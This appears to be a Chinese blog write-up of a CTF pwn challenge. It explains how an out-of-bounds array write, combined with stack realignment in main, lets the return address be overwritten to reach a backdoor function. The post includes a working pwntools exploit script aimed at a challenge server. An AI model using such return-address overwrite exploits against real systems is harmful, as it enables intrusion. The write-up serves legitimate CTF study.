Loading... <!-- wp:paragraph --> <p>这道题是很明显的数组越界的漏洞,题目也给出了后门"hackhere"。于是自然的我考虑通过越界覆写return address实现ret2text。然后奇怪的没有任何作用。于是我看了一下退出时的行为</p> <!-- /wp:paragraph --> <!-- wp:image {"align":"center","id":876,"sizeSlug":"large","linkDestination":"none"} --> <div class="wp-block-image"><figure class="aligncenter size-large"><img src="https://www.cjovi.icu/usr/uploads/2020/12/QQ截图20201229144606.png" alt="" class="wp-image-876"style=""></figure></div> <!-- /wp:image --> <!-- wp:paragraph --> <p>红框中的两个语句动了手脚,让我们的偏移计算要进行特殊处理。考虑到按说这样乱写应该会在退出的时候出错,但是事实上是可以正常退出的,所以看一看进入时的处理</p> <!-- /wp:paragraph --> <!-- wp:image {"align":"center","id":877,"sizeSlug":"large","linkDestination":"none"} --> <div class="wp-block-image"><figure class="aligncenter size-large"><img src="https://www.cjovi.icu/usr/uploads/2020/12/QQ截图20201229144819.png" alt="" class="wp-image-877"style=""></figure></div> <!-- /wp:image --> <!-- wp:paragraph --> <p>我们知道,[esp+4]==&(return address)+4。而[ecx-4]则是return address的地址本身,把它再压回了栈中。退出的时候取得仍然是caller压入的返回地址。这个caller压入的地址由于<code>and esp,0FFFFFFF0h</code>的存在不再在ebp正下方了。其具体位置通过调试获得</p> <!-- /wp:paragraph --> <!-- wp:image {"align":"center","id":878,"sizeSlug":"large","linkDestination":"none"} --> <div class="wp-block-image"><figure class="aligncenter size-large"><img src="https://www.cjovi.icu/usr/uploads/2020/12/QQ截图20201229150519.png" alt="" class="wp-image-878"style=""></figure></div> <!-- /wp:image --> <!-- wp:paragraph --> <p>和通过IDA获得的偏移还差了0x10</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>所以有EXP:</p> <!-- /wp:paragraph --> <!-- wp:code --> <pre class="wp-block-code"><code>#!/usr/bin/env python # coding=utf-8 from pwn import * context(log_level = 'debug') sh = remote("node3.buuoj.cn","28924") sh.sendlineafter('have:\n','0') sh.sendlineafter('5. exit\n','3') sh.sendlineafter('change:\n',str(116 + 0x10)) sh.sendlineafter('number:\n',str(0x9b)) sh.sendlineafter('5. exit\n','3') sh.sendlineafter('change:\n',str(117 + 0x10)) sh.sendlineafter('number:\n',str(0x85)) sh.sendlineafter('5. exit\n','3') sh.sendlineafter('change:\n',str(118 + 0x10)) sh.sendlineafter('number:\n',str(0x04)) sh.sendlineafter('5. exit\n','3') sh.sendlineafter('change:\n',str(119 + 0x10)) sh.sendlineafter('number:\n',str(0x08)) sh.sendlineafter('5. exit\n','5') sh.interactive() </code></pre> <!-- /wp:code --> <!-- wp:paragraph --> <p>这个0x10的偏移本质是0xC + 0x4造成的,0xC是固定的,因为在start的时候esp的最低位已经被置零了,所以调试的到的结果有普遍性,不需要爆破。</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>ida的反编译不是万能的,还是需要结合汇编代码分析。</p> <!-- /wp:paragraph --> 最后修改:2020 年 12 月 30 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 0 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧